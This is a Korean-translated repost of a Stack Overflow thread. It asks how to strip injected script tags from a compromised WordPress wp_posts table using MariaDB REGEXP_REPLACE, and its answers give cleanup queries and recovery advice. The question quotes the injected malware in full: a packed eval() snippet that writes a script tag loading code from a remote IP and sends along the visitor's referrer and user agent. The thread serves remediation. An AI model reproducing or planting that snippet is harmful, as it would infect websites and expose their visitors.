itsource

선택할 Maria DB 쿼리 및 테이블을 업데이트하여 원하지 않는 HTML 및 스크립트 태그를 제거합니다.

mycopycode 2022. 10. 5. 22:26
반응형

선택할 Maria DB 쿼리 및 테이블을 업데이트하여 원하지 않는 HTML 및 스크립트 태그를 제거합니다.

다음 코드가 클라이언트의 WordPress 데이터베이스의 여러 행에 삽입되었습니다.

<noindex>
    <script id="wpinfo-pst1" type="text/javascript" rel="nofollow">
        eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btssh|var|u0026u|referrer|yatyb||js|php'.split('|'),0,{}))
    </script>
</noindex>

이 기능을 정상적으로 제거해야 합니다.<noindex></noindex>태그와 그 안에 있는 모든 것을 테이블 행에서 확인할 수 있습니다.

이 쿼리는 영향을 받는 모든 행(총 15066개)을 성공적으로 선택합니다.

SELECT * 
FROM 'wp_posts' 
WHERE REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') LIKE '%noindex%'

비슷한 걸 쓰려고 하면UPDATEquery, 결과가 반환되지 않습니다.현재 문의 사항은 다음과 같습니다.

UPDATE 'wp_posts' 
SET 'post_content' = REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') 
WHERE 'ID' = 1933;

세트 ID는 테스트 전용입니다.서버가 MariaDB 10.2를 실행하고 있습니다.어떤 제안이나 조언이라도 감사합니다.

REGEXP_REPLACE를 사용한 UPDATE 쿼리 성공

UPDATE
`wp_posts`
SET
`post_content` = REGEXP_REPLACE (`post_content`, '<noindex>[[:ascii:]]*</noindex>', '');

경고: 적용하기 전에 항상 데이터베이스를 백업합니다.UPDATE.

설명서에 따르면:

REGEXP_REPLACE는 모든 정규 표현 패턴이 문자열 치환으로 대체된 문자열 제목을 반환합니다.오카렌스를 찾을 수 없는 경우 제목은 그대로 반환됩니다.

다음 작업을 수행할 수 있습니다.

UPDATE wp_posts
SET post_content = REGEXP_REPLACE (post_content, '<noindex>(.*)</noindex>', '');

사이에 줄바꿈이 있는 경우<noindex>태그, 정규 표현을 수정해야 합니다.예를들면'<noindex>[[:ascii:]]*</noindex>'자세한 내용은 정규 표현 개요를 참조하십시오.

비고:

1) 정당한 콘텐츠를 사용하는 경우<noindex>tag, 위반 콘텐츠의 서브스트링을 추가하여 regexp를 변경합니다.

2) 공격 후 모든 것을 지우고 새로 설치한 후 데이터베이스와 파일을 공격 이전 버전으로 복원하는 것이 좋습니다.

3) 워드프레스 버전과 모든 플러그인이 최신 버전인지 확인합니다.

만약 내가 이걸 해야 한다면, 나는 그 물건을 버릴 것이다.wp_posts테이블을 SQL 텍스트 파일로 변환한 다음 텍스트 편집기를 사용하여 문제 텍스트를 선택/바꾸고 SQL 파일을 다시 가져옵니다.

대부분의 텍스트 편집기에는 정규식이 가능한 선택/바꾸기 기능이 있습니다.그리고 결과를 쉽게 볼 수 있습니다.

테이블을 Import할 준비가 되면RENAME TABLE wp_posts TO wp_posts_old;Import 합니다.

그 후에도 Word Press가 작동한다면 좋습니다.그렇지 않으면DROP TABLE wp_posts그리고.RENAME TABLE wp_posts_old TO wp_posts물건을 복원한다.

언급URL : https://stackoverflow.com/questions/56569795/maria-db-query-to-select-then-update-a-table-to-remove-unwanted-html-and-script

반응형